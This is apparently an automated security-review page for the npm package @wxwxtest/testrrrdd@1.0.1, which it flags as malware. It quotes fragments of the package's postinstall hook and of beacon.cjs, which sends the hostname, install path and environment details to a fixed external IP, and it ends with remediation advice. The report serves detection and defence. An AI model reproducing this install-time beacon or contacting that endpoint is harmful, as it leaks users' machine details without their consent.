@wxwxtest/testrrrdd@1.0.1
Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiSource inspection confirms an automatic postinstall beacon and import-time reporting of host and project environment metadata to a fixed external endpoint. This is active data exfiltration, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing its entrypoint.
Impact
An external recipient can learn identifying details about the host and the consumer project environment.
Mechanism
The beacon collects the hostname, install path, working directory, and npm version, then posts them to 185.158.107.175.
Attack narrative
Installation runs the beacon, which sends host and environment metadata to a fixed external IP. Importing the package triggers the same behavior, extending the report beyond installation.
AI rationale
Source inspection confirms an automatic postinstall beacon and import-time reporting of host and project environment metadata to a fixed external endpoint. This is active data exfiltration, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically after installation.
- beacon.cjs posts the machine hostname, package install path, working directory, and npm version to a fixed external IP address.
- Importing the package also triggers the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
High
Ai Review Evidence
The package runs beacon.cjs automatically after installation.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@1.0.1.
See all versions of @wxwxtest/testrrrdd for other recorded verdicts.
- Avoid installing @wxwxtest/testrrrdd@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.